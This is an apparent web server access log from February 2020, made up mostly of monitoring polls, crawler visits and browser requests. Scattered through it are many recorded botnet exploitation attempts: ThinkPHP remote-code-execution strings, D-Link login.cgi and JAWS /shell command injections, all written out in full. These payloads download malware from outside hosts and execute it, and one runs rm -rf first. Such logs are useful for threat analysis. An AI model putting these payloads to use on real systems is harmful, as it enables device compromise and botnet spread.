42.117.149.58 - - [05/Feb/2020:18:49:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.127.249.28 - - [05/Feb/2020:18:50:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.74 - - [05/Feb/2020:18:54:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.57.65.140 - - [05/Feb/2020:18:54:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:18:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.95.63.117 - - [05/Feb/2020:18:57:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.155.202 - - [05/Feb/2020:18:59:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.74 - - [05/Feb/2020:19:01:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.76.12.166 - - [05/Feb/2020:19:02:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:19:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.33.42 - - [05/Feb/2020:19:12:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.137.172 - - [05/Feb/2020:19:15:16 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:19:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
136.243.83.80 - - [05/Feb/2020:19:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)"
136.243.83.80 - - [05/Feb/2020:19:16:25 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)"
136.243.83.80 - - [05/Feb/2020:19:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)"
136.243.83.80 - - [05/Feb/2020:19:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)"
136.243.83.80 - - [05/Feb/2020:19:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)"
212.91.246.72 - - [05/Feb/2020:19:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.237.31 - - [05/Feb/2020:19:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.69.217 - - [05/Feb/2020:19:17:46 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.215 - - [05/Feb/2020:19:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
41.38.255.115 - - [05/Feb/2020:19:17:49 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:19:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.38.255.115 - - [05/Feb/2020:19:17:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:19:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.28.224 - - [05/Feb/2020:19:20:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.209 - - [05/Feb/2020:19:23:41 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.209 - - [05/Feb/2020:19:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [05/Feb/2020:19:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.191.198 - - [05/Feb/2020:19:26:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.115.86 - - [05/Feb/2020:19:28:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.254.205 - - [05/Feb/2020:19:29:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.35.237.234 - - [05/Feb/2020:19:30:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.28.111.56 - - [05/Feb/2020:19:30:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:19:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.214.255.22 - - [05/Feb/2020:19:32:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:19:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.195.73.155 - - [05/Feb/2020:19:38:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.189.48.185 - - [05/Feb/2020:19:38:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.112.103.22 - - [05/Feb/2020:19:38:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.109.210.84 - - [05/Feb/2020:19:41:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.139.61 - - [05/Feb/2020:19:42:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [05/Feb/2020:19:45:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.107.84 - - [05/Feb/2020:19:45:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.83.89 - - [05/Feb/2020:19:46:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.136.58.101 - - [05/Feb/2020:19:47:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.130.110 - - [05/Feb/2020:19:48:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.127.119.146 - - [05/Feb/2020:19:49:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:19:49:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.159.154.190 - - [05/Feb/2020:19:51:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [05/Feb/2020:19:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.53.176.227 - - [05/Feb/2020:19:52:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.127.203 - - [05/Feb/2020:19:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.99.71.43 - - [05/Feb/2020:19:57:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
189.50.132.207 - - [05/Feb/2020:19:57:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:19:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.26.49 - - [05/Feb/2020:19:58:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.141.219 - - [05/Feb/2020:19:58:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:19:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:19:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.114.237 - - [05/Feb/2020:20:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:20:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:20:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.136.207.155 - - [05/Feb/2020:20:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:20:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [05/Feb/2020:20:06:51 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [05/Feb/2020:20:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.128.105.18 - - [05/Feb/2020:20:07:52 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
157.25.247.91 - - [05/Feb/2020:20:07:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
